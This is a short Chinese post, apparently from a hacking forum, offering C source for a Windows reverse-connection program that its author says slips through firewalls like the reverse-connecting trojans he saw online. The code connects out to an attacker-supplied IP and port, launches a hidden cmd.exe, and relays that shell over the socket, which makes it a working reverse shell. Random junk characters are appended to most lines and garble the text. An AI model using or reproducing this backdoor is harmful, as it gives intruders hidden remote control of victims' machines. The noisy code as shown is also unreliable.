这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q 7?#=N?
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/* ============================== d N$Tf
Rebound port in Windows NT R47\Y
By wind,2006/7 15sp|$&`
===============================*/ /~<@ *-'
#include |)*fRL,
#include q*9!,!e
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#pragma comment(lib,"wsock32.lib") J Px~VnE%%
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void OutputShell(); hyFyP\u]
SOCKET sClient; z5YWt*nm
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -jiG7OL
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void main(int argc,char **argv) q*>&^V $M
{ RVQh2'w
WSADATA stWsaData; &e!7Z40w@&
int nRet; SBS3?hw
SOCKADDR_IN stSaiClient,stSaiServer; bR)(H%I
{Ja!~N;3
if(argc != 3) 1 |jt"Hz
{ ?pd8w#O
printf("Useage:\n\rRebound DestIP DestPort\n"); :\o {_
return; VF ys.=
} H7DJ~z~J
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WSAStartup(MAKEWORD(2,2),&stWsaData); PGoh1Uu
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Kh_Lp$'0uM
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stSaiClient.sin_family = AF_INET; 3(,?S$>
stSaiClient.sin_port = htons(0); v
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); U3dwI:cG
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ptdpj)oi&Q
{ e(<str>
printf("Bind Socket Failed!\n"); [wzb<"kW
return; s|y "WDyx5
} ZG&>:Si;
mmk=97
stSaiServer.sin_family = AF_INET; #iHs*
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O[ef#R!
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Fkd+pS\9g~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) WL"^>[Vq
{ TtTj28k7
printf("Connect Error!"); j=r P:#
return; @pRlxkvV
} ] [p>Y>:b-
OutputShell(); ~XmLX)vO/
} GVYkJ0,
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void OutputShell() rr02pM0
{ M,\:<kNI
char szBuff[1024];
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SECURITY_ATTRIBUTES stSecurityAttributes; S;286[oq@
OSVERSIONINFO stOsversionInfo; Rx=>6,)'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lUMS;H(
STARTUPINFO stStartupInfo; fUA uqfj[
char *szShell; 1`qMj0Y_
PROCESS_INFORMATION stProcessInformation; 8b;1FQ'
unsigned long lBytesRead; vkEiOFU!u
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +Z!)^j
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); hRD=Y<>A
stSecurityAttributes.lpSecurityDescriptor = 0; U!*M*s
stSecurityAttributes.bInheritHandle = TRUE; _)>_{Pm
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @a0DT=>dT
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ni-xx9)=
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [`"ZjkR_J
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .ufTQ?Fe
stStartupInfo.wShowWindow = SW_HIDE; (jRm[7H
stStartupInfo.hStdInput = hReadPipe; ?En O"T.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :fZ}o|t7
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GetVersionEx(&stOsversionInfo); 'O_3)x5
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switch(stOsversionInfo.dwPlatformId) |es?;s'
{ PuA9X[=
case 1: D"2&P^-
szShell = "command.com"; TE7nJ gm
break; L>aLqQ3
default: _4U5
szShell = "cmd.exe"; ?kH8Lw~{5W
break; qh|_W(`y
} R\G0'?h
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `tA"
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send(sClient,szMsg,77,0); %^4CSh
while(1) JP!~,mdS
{ 2a`o
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); WrxP
if(lBytesRead) Vk
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{ gM
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); q1"$<# t
send(sClient,szBuff,lBytesRead,0); K}buH\yco
} 6z#acE1)M
else 7XTkX"zKj
{ lhAX;s&9
lBytesRead=recv(sClient,szBuff,1024,0); irFMmI b
if(lBytesRead<=0) break; (a.z9nqGA
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "4+&-ms
} 93("oBd[s(
} l1OE!W W
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return; }@'$b<!B
}